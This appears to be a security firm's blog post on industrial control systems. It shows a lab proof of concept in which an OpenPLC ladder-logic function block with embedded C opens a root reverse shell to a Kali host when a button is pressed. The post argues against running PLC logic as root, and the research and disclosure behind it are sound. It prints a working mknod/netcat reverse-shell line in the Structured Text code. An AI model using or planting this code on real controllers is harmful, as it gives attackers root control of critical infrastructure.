Blog: OT, ICS, IIoT, SCADA
Snakes and Ladder Logic
A click to a reverse shell in OpenPLC and ladder logic OR Why you shouldn’t run everything as root in PLC and RTUs.
TL;DR
- Most of the RTU’s and PLC’s that run a Unix based OS that we test and, and some devices on Windows that we’ve tested on maritime engagements, run as root and/or admin.
- They also allow file read/write.
- They are widespread in critical national infrastructure.
- OpenPLC was specifically created for Cyber research. The original paper is available to read here.
- As a demonstration of “why you should not run as root” I used OpenPLC to created a custom Ladder logic function block that connects to a reverse shell when you press the red button.
Introduction
We test a lot of industrial control equipment. We have noted that the main PLC program logic on many of the devices we test has a habit of running as root, this is really not good.
It is also not uncommon for these devices to allow the download of a new configuration or control program without authentication. Given this, I wondered if it would be possible to abuse ladder or other IEC-61131 programming languages to do something they were not intended for.
Whilst doing some research on industrial control system security I came across OpenPLC, it was built specifically for ICS security research so perfect for messing with and highly recommended.
My first effort was brushing the dust off IEC-61131 Ladder Diagrams, last time I did any of this was in the early 90’s. Building some traffic lights was always a good one to learn, can start simple and evolve. My colleague Phil caught on to this and did an awesome blog covering his journey into ladder programming a full 4 light system: Introduction to PLCs and Ladder Logic.
Some reading on the OpenPLC blogs soon revealed that custom blocks for use in Ladder Diagrams (LD), could be written in Structured Text (ST), and that these could have C code embedded in them. This opens a whole world of ideas, but as my C coding days came before Ladder, it would need to be kept very simple.
Reverse a shell up a Ladder
The target was to create a simple proof of concept Ladder Diagram that when executed on the PLC, pressing a button would cause it to open a reverse shell to a remote host. My target PLC was a raspberry Pi running OpenPLC and the remote host a Kali VM.
Step 1: set up the lab
I already had the ‘traffic lights’ Raspberry Pi with OpenPLC installed and a Windows 7 VM with the OpenPLC editor so fairly simple:
- RPi on IP address 192.168.3.14
- Win7 on 192.168.3.3
- Configured Kali Linux on 192.168.3.10
- Breadboard with push button and connection to traffic light LED’s for indication if I need it
Step 2: Build Ladder program and custom Function block
First, create a new project in the OpenPLC and add a custom function block:
Give it a meaningful name and set the language to ‘ST’:
Put together a bare bones function block:
Quick and dirty Ladder program:
Step 3: Test remote shell
I went around this loop a few times, it took a bit more effort than I expected, as not all of the commands that worked fine from the command line were successful in OpenPLC, just took a little persistence:
- Set a listener running on Kali
- Login to the RPi and test reverse shell
Around the fifth attempt I found the command that would work from the command line, and from within the OpenPLC code.
The final Structured Text code for the function block:
IF (exe = TRUE) THEN {system("mknod /tmp/pipe p");} {system("/bin/sh 0</tmp/pipe | nc 192.168.3.10 4444 1>/tmp/pipe");} done := TRUE; return; END_IF; done := FALSE; return;
Test below, running the OpenPLC program and pressing the button opens a reverse shell to the Kali box, the id and hostname commands show that we are running as root!
Conclusion
OpenPLC was built for research so there’s no cause for worry.
This is NOT the case with commercial PLC’s and RTU’s however.
They operate and monitor extremely important parts of our industry and infrastructure, so please don’t run everything as root.